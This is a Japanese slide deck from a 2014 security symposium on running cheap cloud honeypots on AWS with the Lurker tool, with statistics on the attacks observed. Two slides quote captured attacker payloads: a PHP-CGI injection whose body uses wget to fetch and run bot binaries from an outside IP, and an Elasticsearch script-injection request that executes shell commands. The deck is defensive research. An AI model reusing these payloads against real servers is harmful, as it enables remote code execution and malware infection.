Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

クラウドハニーポットを運用しよう!

1,690 views

Published on

コンピュータセキュリティシンポジウム2014 CSS2.0にて発表

Published in: Internet

クラウドハニーポットを運用しよう!

  1. 1.  クラウドハニーポットを運用しよう! + 水谷正慶(@m_mizutani)
  2. 2. Honeypot ハニーポット(英語: Honeypot) は、コンピュータセキュリティ 用語としては、不正アクセスを受けることに価値を持つシステム のことを指す。元来は「蜜(の詰まった)壷」の意味で、何らか の有益そうな情報や資源がありそうな場所を用意して、それにつ られた者を観察したり、肝心な部分で被害を出さないために目を 逸らせたり、コンピュータ・フォレンジックスを行うための証拠 を集めたりする、一種の囮手法に使われる。手法そのものをハ ニーポットと呼ぶこともある。ハニーポットは囮のために設置す るので正規の通信が発生しないという特徴がある。これは、記録 に残るアクセスはすべて不正アクセスとなるので、誤検知を減ら し検知洩れを無くすことができる。ハニーポットの目的として、 ウイルスやワームの検体の入手、不正アクセスを行うクラッカー をおびき寄せ重要なシステムから攻撃を逸らしたり、記録された 操作ログ・通信ログなどから不正アクセスの手法と傾向の調査を 行うなど挙げられる。 http://www.infiltrated.net/voipabuse/honeypot/
  3. 3. なんでクラウド? IPアドレスがばれるとゴミ データが流れてくる&寄り 付かれなくなる可能性が インスタンス上げたり消した りができるので、変更が容易 ハニーポット専用にマシン やネットワークを用意する のが大変 APIで増やせる。 金の力でスケールアウトする 今どきDbDがメジャーで ISPとかだと直接攻撃コー ドとか送ってこないのでは クラウドサービスだとサー バとして動いているマシン があるのが前提なので無差 別攻撃してくる
  4. 4. ひと月あたりのお値段(AWSの場合)  t2.microインスタンス:$0.02/h  追加Elastic IPアドレス:$0.005/h  データ転送:$0.010/GB (ほぼなし) $0.025/h * 24 * 30 + α ≒ $18/月
  5. 5. 構成 AWS Honeypot instnace 1 NIC1 NIC2 Honeypot instnace 2 NIC1 NIC2 Honeypot instnace 3 NIC1 NIC2 制御用 ハニーポット用 制御用 ハニーポット用 制御用 ハニーポット用 The Internet 54.64.a.a 54.64.b.b 54.64.c.c 54.64.d.d 54.64.e.e 54.64.f.f
  6. 6. Honeypot Software  超低インタラクション型ハニーポット  Lurker (https://github.com/m-mizutani/lurker)  TCPのSYNに対してSYN-ACKのみ返す  利点  IPアドレスに対するスケーラビリティ  多数のポートを同時に監視できるシンプルな実装 攻撃側Lurker (Honeypot) SYN SYN+ACK ACK Data
  7. 7. Experience Summary  2014年9月28日〜10月18日に3台で監視  攻撃してきたホスト:2001 IPアドレス  ユニークな送信元IPアドレスレンジ/16 ranking  3位61.153.0.0/16 (CN)、39 IPアドレス  2位222.186.0.0/16 (CN)、39 IPアドレス  1位122.225.0.0/16 (CN)、63 IPアドレス  アクセスポート番号ranking 5000 4000 3000 2000 1000 0 443 3389 22 1433 3128 135 80 445 その他
  8. 8. Port 80へのアクセス例 POST /cgi-bin/ php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F %6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+ %2D%64+%64%69%73%61%62%6C%65%5F%66 %75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D %64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6 4+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2%72%65%64%69%72 %65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1 Host: 54.64.66.18 User-Agent: Mozilla/5.0 (compatible; Zollard; Linux) Content-Type: application/x-www-form-urlencoded Content-Length: 1809 Connection: close <?php echo "Zollard"; $disablefunc = @ini_get("disable_functions"); (中略) myshellexec("rm -rf /tmp/armeabi;wget -P /tmp http://1.54.234.131:58455/armeabi;chmod +x /tmp/armeabi"); myshellexec("rm -rf /tmp/arm;wget -P /tmp http://1.54.234.131:58455/arm;chmod +x /tmp/arm"); myshellexec("rm -rf /tmp/ppc;wget -P /tmp http://1.54.234.131:みせら58455/れないppc;よchmod ! +x /tmp/ppc"); myshellexec("rm -rf /tmp/mips;wget -P /tmp http://1.54.234.131:58455/mips;chmod +x /tmp/mips"); myshellexec("rm -rf /tmp/mipsel;wget -P /tmp http://1.54.234.131:58455/mipsel;chmod +x /tmp/mipsel"); myshellexec("rm -rf /tmp/x86;wget -P /tmp http://1.54.234.131:58455/x86;chmod +x /tmp/x86"); myshellexec("rm -rf /tmp/nodes;wget -P /tmp http://1.54.234.131:58455/nodes;chmod +x /tmp/nodes"); myshellexec("rm -rf /tmp/sig;wget -P /tmp http://1.54.234.131:58455/sig;chmod +x /tmp/sig"); myshellexec("/tmp/armeabi;/tmp/arm;/tmp/ppc;/tmp/mips;/tmp/mipsel;/tmp/x86;"); ?> みせられないよ! HTTPのリクエストとか が視える!
  9. 9. Port 22へのアクセス後に送信されたデータの種別 0 20 40 60 80 100 120 140 160 stats SSH-2.0-libssh2_1.4.3 PHP SSH-2.0-libssh2_1.4.3 SSH-2.0-libssh2_1.4.2 SSH-2.0-libssh2_1.4.1 SSH-2.0-libssh2_1.4.0 SSH-2.0-libssh2_1.2.8 PHP SSH-2.0-PuTTY_Local:_May_14_2009_21:12:18 SSH-2.0-JSCH-0.1.51 SSH-2.0-JSCH-0.1.44 GET / HTTP/1.0 (none) SSHのクライアント名がみえる! (意外に堂々とlibsshが使われている)
  10. 10. ”^SSH-”が含まれるアクセスのポート 0 500 1000 1500 2000 2500 3000 60022 50022 22345 22222 22000 20022 10022 9022 8122 8023 8022 7022 5022 3022 2222 2202 2200 2022 1234 1022 22 ポート22以外にもSSHでつなぎにきて いることがわかる
  11. 11. その他 To Port 9200 GET /_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script _fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;import%20java.io.*;String%20str%20=%20%22 %22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().ex ec(%22chmod%200777%20%2ftmp%2f%2a%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringB uilder();while((str=br.readLine())!=null){sb.append(str);sb.append(%5C%22%5Cr%5Cn%5C%22);}sb.toString();%22}}} HTTP/1.1 User-Agent: InetURL:/1.0 ポート80以外にもHTTPリクエストが Host: 54.64.66.18:9200 Cache-Control: no-cache 投げ込まれていることがわかる To Port 21320 GET http://headers.nixipdb.com/ HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64; rv:20.0) Gecko/20100101 Firefox/20.0 Host: headers.nixipdb.com Accept-Encoding: deflate, gzip Proxy-Connection: Keep-Alive Accept-Language: en-gb,en;q=0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Pragma: no-cache Cache-Control: no-cache
  12. 12.  ご静聴ありがとうございました

×